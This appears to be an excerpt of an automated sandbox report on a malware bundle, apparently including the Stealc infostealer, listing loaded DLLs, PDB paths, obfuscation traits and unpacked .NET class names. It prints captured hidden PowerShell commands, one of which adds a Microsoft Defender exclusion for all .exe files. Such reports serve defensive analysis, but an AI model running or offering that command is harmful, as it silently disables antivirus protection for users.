Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\gpupdate.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\gpupdate.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\gpupdate.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: mstask.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 3QKcKCEzYP.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 3QKcKCEzYP.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 3QKcKCEzYP.exe

Static file information: File size 4518912 > 1048576

Source: 3QKcKCEzYP.exe

Static PE information: Raw size of .vmp/#D is bigger than: 0x100000 < 0x42de00

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: MrBEu6cm6HagE9yrmXV8x4AG.exe, MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772EXE\obj\Debug\stealc_default.pdb source: 3QKcKCEzYP.exe, 00000000.00000003.2297572331.00000240461FB000.00000004.00000020.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000000.2361070398.0000000000BF9000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\XwlmlV.pdb. source: fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000466E000.00000004.00000800.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000439B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2643357273.000000C000132000.00000004.00001000.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654637181.000000C000488000.00000004.00001000.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000003.2616113101.00000266CD370000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004691000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2652497269.0000000005F20000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004619000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\XwlmlV.pdb source: fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000466E000.00000004.00000800.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000439B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004691000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2652497269.0000000005F20000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004619000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: erzljnhmzkuz.exe, 0000002D.00000003.2491555245.00000000001E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.0000000004715000.00000004.00000800.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2403595073.00000000056D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2643357273.000000C000132000.00000004.00001000.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654637181.000000C000488000.00000004.00001000.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000003.2616113101.00000266CD370000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, Ca01BQGh9DxiBOJwup.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, Ca01BQGh9DxiBOJwup.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 66c3721bc46fe_Ernrnmkio[1].exe.0.dr, -.cs	.Net Code: _E001 System.AppDomain.Load(byte[])
Source: 66c3721bc46fe_Ernrnmkio[1].exe.0.dr, -.cs	.Net Code: _E009 System.Reflection.Assembly.Load(byte[])
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe.0.dr, -.cs	.Net Code: _E001 System.AppDomain.Load(byte[])
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe.0.dr, -.cs	.Net Code: _E009 System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

Yara detected Costura Assembly Loader

Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.5de0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2650537214.0000000005DE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6UF1Jcwj34zqEggktO7mg1WS.exe PID: 364, type: MEMORYSTR

Source: 66c4c71a033c6_otr[1].exe.0.dr

Static PE information: 0xD314F54A [Sun Mar 22 00:48:10 2082 UTC]

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_00405655 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

5_2_00405655

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp/#D

Source: 3QKcKCEzYP.exe	Static PE information: section name: _RDATA
Source: 3QKcKCEzYP.exe	Static PE information: section name: .vmp/#D
Source: 3QKcKCEzYP.exe	Static PE information: section name: .vmp/#D
Source: 3QKcKCEzYP.exe	Static PE information: section name: .vmp/#D
Source: StyleControls%20VCL[1].exe.0.dr	Static PE information: section name: .xdata
Source: yZBxqqQICO50PLfWYKwJeSL5.exe.0.dr	Static PE information: section name: .xdata
Source: setup[1].exe.0.dr	Static PE information: section name: .sxdata
Source: r0bVQRH8Dto7infNi6DOB01w.exe.0.dr	Static PE information: section name: .sxdata
Source: 66c2d861a5b4d_google[1].exe.0.dr	Static PE information: section name: .00cfg
Source: 66c2d861a5b4d_google[1].exe.0.dr	Static PE information: section name: .text0
Source: 66c2d861a5b4d_google[1].exe.0.dr	Static PE information: section name: .text1
Source: 66c2d861a5b4d_google[1].exe.0.dr	Static PE information: section name: .text2
Source: zVS6xq86P4Kl0c26CfULXfv4.exe.0.dr	Static PE information: section name: .00cfg
Source: zVS6xq86P4Kl0c26CfULXfv4.exe.0.dr	Static PE information: section name: .text0
Source: zVS6xq86P4Kl0c26CfULXfv4.exe.0.dr	Static PE information: section name: .text1
Source: zVS6xq86P4Kl0c26CfULXfv4.exe.0.dr	Static PE information: section name: .text2

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_015F95B0 push esp; ret	4_2_015F96A9
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Code function: 4_2_018FD1E8 push es; retf	4_2_018FD205
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_004025CD push ecx; ret	5_2_004025E0
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0216E0AF push ecx; retf	5_2_0216E0B2
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02228F05 push ecx; ret	5_2_02228F18
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_00411360 push ecx; mov dword ptr [esp], ecx	6_2_00411361
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_00413954 push eax; ret	6_2_00413972
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_00413CC0 push eax; ret	6_2_00413CEE
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_033C0C60 push 00000001h; ret	8_2_033C0CE9
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_033C3D41 push 00000001h; ret	8_2_033C3D50
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1D40 push edi; retf 0005h	8_2_05CB1D42
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB9D67 pushfd ; retf	8_2_05CB9D6E
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB150F push ebp; retf 0005h	8_2_05CB1512
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB0CB0 push edx; retf 0005h	8_2_05CB0CB2
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB0C60 push ecx; retf 0005h	8_2_05CB0C62
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1401 push ebp; retf 0005h	8_2_05CB1402
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB0C19 push ecx; retf 0005h	8_2_05CB0C1A
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1FAF push edi; retf 0005h	8_2_05CB1FB2
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1FB7 push edi; retf 0005h	8_2_05CB1FBA
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB0747 push es; retf	8_2_05CB074E
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB077F push es; retf	8_2_05CB078E
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1F71 push edi; retf 0005h	8_2_05CB1F72
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB072C push es; retf	8_2_05CB072E
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB0737 push es; retf	8_2_05CB073E
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1E41 push edi; retf 0005h	8_2_05CB1E42
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB161F push ebp; retf 0005h	8_2_05CB1622
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB11D8 push esp; retf 0005h	8_2_05CB11DA
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1198 push esp; retf 0005h	8_2_05CB119A
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1920 push esi; retf 0005h	8_2_05CB1922
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB104F push ebx; retf 0005h	8_2_05CB1052
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 8_2_05CB1011 push ebx; retf 0005h	8_2_05CB1012

Source: 66c3721bc46fe_Ernrnmkio[1].exe.0.dr	Static PE information: section name: .text entropy: 7.929399721140677
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe.0.dr	Static PE information: section name: .text entropy: 7.929399721140677
Source: 66c1c5838f95f_file1808[1].exe.0.dr	Static PE information: section name: .text entropy: 7.737435826945235
Source: MrBEu6cm6HagE9yrmXV8x4AG.exe.0.dr	Static PE information: section name: .text entropy: 7.737435826945235

Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
